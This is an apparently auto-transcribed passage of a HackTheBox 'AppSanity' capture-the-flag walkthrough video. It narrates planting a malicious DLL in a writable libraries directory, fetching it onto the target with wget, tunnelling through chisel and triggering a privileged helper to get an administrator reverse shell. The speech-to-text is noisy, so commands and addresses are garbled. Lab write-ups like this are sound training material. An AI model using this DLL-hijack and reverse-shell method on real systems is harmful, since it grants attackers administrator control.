text: dll okay let's copy that into our SMB folder and then let's go in do we have it here evil there we do uh split there 90001 so here we need to go to program files then report manager libraries and we can copy 10 1048 shared um external upload.

title: HackTheBox - AppSanity


text: dll here not found I think I used x copy last time let's just move it to our dubdub duub directory and then we can W get it 10 10 14 8 8 th we need to specify http there we go so now we have our library there we should be able to netcat Local Host 100 and this is set up to go through chisel and 8100 and now if I upload test.pdf it should load that Library we just uploaded and it did and we have a shell here if we do who am I we are the administrator so we can do CD back users administrator desktop and then get the flag so that's going to be the Box um that last step was pretty tough um to summ it up again through Dynamic analysis and some static analysis we discovered once all the directories were created the program itself would look at the libraries directory and if external upload. uh dll

title: HackTheBox - AppSanity


text: existed then would run the um external manag helper.exe with that dll and I'm guessing that's supposed to have code to upload files but since we can write that um we can make it anything we want so we made it a reverse shell hope you guys enjoyed it take care and I will see you all next time

title: HackTheBox - AppSanity